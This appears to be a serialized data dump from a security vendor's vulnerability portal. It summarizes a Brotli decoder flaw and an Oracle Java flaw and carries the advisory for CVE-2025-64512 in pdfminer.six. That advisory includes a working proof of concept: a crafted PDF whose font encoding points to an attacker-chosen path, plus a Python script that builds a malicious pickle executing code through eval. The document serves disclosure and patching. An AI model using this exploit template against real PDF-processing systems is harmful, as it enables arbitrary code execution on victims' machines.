[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-64512":30,"landing-articles":88},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":54,"references":58,"score":66,"epss_score":67,"epss_percentile":68,"is_kev":47,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":69,"attack_mappings":79,"exploits":86},101738,"CVE-2025-64512","EUVD-2025-38315","Arbitrary Code Execution in pdfminer.six via Crafted PDF Input\n\n### Summary\n\npdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap\u002F` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.\n\n### Details\n\n```python\n# Vulnerable code in pdfminer\u002Fcmapdb.py:233-246\ndef _load_data(cls, name: str) -> Any:\n    name = name.replace(\"\\0\", \"\")  # Insufficient sanitization\n    filename = \"%s.pickle.gz\" % name\n    # ... path construction ...\n    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored\n    # ...\n    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization\n```\n\nAn attacker can:\n1. Create a malicious PDF with a CMap reference like `\u002Fmalicious`\n2. Place a malicious pickle file at `\u002Fmalicious.pickle.gz`\n3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle\n4. The pickle deserialization can execute arbitrary Python code\n\n### POC\n\n#### Malicious PDF\n\nCreate a PDF with a malicious CMAP entry:\n\n```\n5 0 obj\n\u003C\u003C\n\u002FType \u002FFont\n\u002FSubtype \u002FType0\n\u002FBaseFont \u002FMaliciousFont-Identity-H\n\u002FEncoding \u002F#2Fpdfs#2Fmalicious\n\u002FDescendantFonts [6 0 R]\n>>\nendobj\n```\n\nHere the \u002FEncoding points to `\u002Fpdfs\u002Fmalicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `\u002Fpdfs\u002Fmalicious.pdf`.\n\n#### Malicious Pickle\n\nCreate a malicious, zipped pickle to execute. For example, with this Python script:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport pickle\nimport gzip\n\ndef create_demo_pickle():\n    print(\"Creating demonstration pickle file...\")\n\n    # Create payload that executes code AND returns a dict (as pdfminer expects)\n    class EvilPayload:\n        def __reduce__(self):\n            # This function will be called during unpickling\n            code = \"print('Malicious code executed.') or exit(0) or {}\"\n            return (eval, (code,))\n\n    demo_cmap_data = EvilPayload()\n\n    # Create the pickle file that the path traversal would access\n    target_path = \".\u002Fmalicious.pickle.gz\"\n\n    try:\n        with gzip.open(target_path, 'wb') as f:\n            pickle.dump(demo_cmap_data, f)\n        print(f\"✓ Created demonstration pickle file: {target_path}\")\n        return target_path\n\n    except Exception as e:\n        print(f\"✗ Error creating pickle file: {e}\")\n        return None\n\nif __name__ == \"__main__\":\n    create_demo_pickle()\n```\n\nThis will create a harmless, zipped pickle file that will display \"Malicious code eecuted.\" then exit when deserialized. Put the file in `\u002Fpdfs\u002Fmalicious.pickle.gz`.\n\n#### Test\n\nInstall pdfminer.six and run `pdf2text.py \u002Fpdfs\u002Fmalicious.pdf`. Instead of processing the PDF as normal you should see the output:\n\n```\n$ pdf2txt.py malicious.pdf\nMalicious code executed!\n```\n\n### Impact\n\nIf pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.\n\nThe difficulty in achieving this depends on the OS, see below.\n\n#### Linux, MacOS - harder to exploit\n\nOn Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:\n\n* An attacker may find a way to write files to a known location on the target system or\n* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.\n\nOverall, there is generally less risk on a Linux or Linux-like system.\n\n#### Windows - easier to exploit\n\nWindows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.\n\n### Appendix\n\nA complete, malicious PDF is provided here. A dockerized POC is available upon request.\n\n```\n%PDF-1.4\n1 0 obj\n\u003C\u003C\n\u002FType \u002FCatalog\n\u002FPages 2 0 R\n>>\nendobj\n\n2 0 obj\n\u003C\u003C\n\u002FType \u002FPages\n\u002FKids [3 0 R]\n\u002FCount 1\n>>\nendobj\n\n3 0 obj\n\u003C\u003C\n\u002FType \u002FPage\n\u002FParent 2 0 R\n\u002FMediaBox [0 0 612 792]\n\u002FContents 4 0 R\n\u002FResources\n\u003C\u003C\n\u002FFont\n\u003C\u003C\n\u002FF1 5 0 R\n>>\n>>\n>>\nendobj\n\n4 0 obj\n\u003C\u003C\n\u002FLength 44\n>>\nstream\nBT\n\u002FF1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\nendstream\nendobj\n\n5 0 obj\n\u003C\u003C\n\u002FType \u002FFont\n\u002FSubtype \u002FType0\n\u002FBaseFont \u002FMaliciousFont-Identity-H\n\u002FEncoding \u002F#2Fpdfs#2Fmalicious\n\u002FDescendantFonts [6 0 R]\n>>\nendobj\n\n6 0 obj\n\u003C\u003C\n\u002FType \u002FFont\n\u002FSubtype \u002FCIDFontType2\n\u002FBaseFont \u002FMaliciousFont\n\u002FCIDSystemInfo\n\u003C\u003C\n\u002FRegistry (Adobe)\n\u002FOrdering (Identity)\n\u002FSupplement 0\n>>\n\u002FFontDescriptor 7 0 R\n>>\nendobj\n\n7 0 obj\n\u003C\u003C\n\u002FType \u002FFontDescriptor\n\u002FFontName \u002FMaliciousFont\n\u002FFlags 4\n\u002FFontBBox [-1000 -1000 1000 1000]\n\u002FItalicAngle 0\n\u002FAscent 1000\n\u002FDescent -200\n\u002FCapHeight 800\n\u002FStemV 80\n>>\nendobj\n\nxref\n0 8\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n0000000274 00000 n\n0000000370 00000 n\n0000000503 00000 n\n0000000673 00000 n\ntrailer\n\u003C\u003C\n\u002FSize 8\n\u002FRoot 1 0 R\n>>\nstartxref\n871\n%%EOF\n```","2025-11-07T20:52:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":46,"confidentialityImpact":42},"CHANGED","3.1",8.6,"LOCAL","HIGH","CVSS:3.1\u002FAV:L\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:H","REQUIRED","LOW","NONE",false,[49],"CWE-502",[51,52,53],"cpe:2.3:a:pdfminer:pdfminer.six:*:*:*:*:*:*:*:*","cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*","cpe:2.3:a:pdfminer.six:pdfminer.six:*:*:*:*:*:*:*:*",[55,56,57],"Debian Debian Linux","Pdfminer Pdfminer.Six","Pdfminer.Six Pdfminer.Six",[59,60,61,62,63,64,65],"https:\u002F\u002Fgithub.com\u002Fpdfminer\u002Fpdfminer.six\u002Fcommit\u002Fb808ee05dd7f0c8ea8ec34bdf394d40e63501086","https:\u002F\u002Fgithub.com\u002Fpdfminer\u002Fpdfminer.six\u002Freleases\u002Ftag\u002F20251107","https:\u002F\u002Fgithub.com\u002Fpdfminer\u002Fpdfminer.six\u002Fsecurity\u002Fadvisories\u002FGHSA-wf5f-4jwr-ppcp","https:\u002F\u002Flists.debian.org\u002Fdebian-lts-announce\u002F2025\u002F11\u002Fmsg00017.html","https:\u002F\u002Flists.debian.org\u002Fdebian-lts-announce\u002F2026\u002F01\u002Fmsg00005.html","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-64512","https:\u002F\u002Fgithub.com\u002Fpdfminer\u002Fpdfminer.six",0.58,0.00334,0.26536,{"timestamp":70,"automatable":71,"tech_impact":72,"exploitation":73,"cisa_decision":74,"cisa_remediation_timeline":78},"2025-11-12T17:35:02.625506Z","no","total","poc",{"vector":75,"decision":76,"priority":77},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T03:16:41.541023\u002F","attend","medium","14D",[80],{"name":81,"source":82,"tactics":83,"technique_id":85},"Exploitation for Privilege Escalation","attack_vector",[84],"privilege-escalation","T1068",[87],{"link":61},{"count":89,"next":90,"previous":6,"results":91},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[92,100,108],{"id":93,"title":94,"summary":95,"published_at":96,"type":97,"link":98,"image_url":99},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":101,"title":102,"summary":103,"published_at":104,"type":105,"link":106,"image_url":107},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":109,"title":110,"summary":111,"published_at":112,"type":113,"link":114,"image_url":115},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]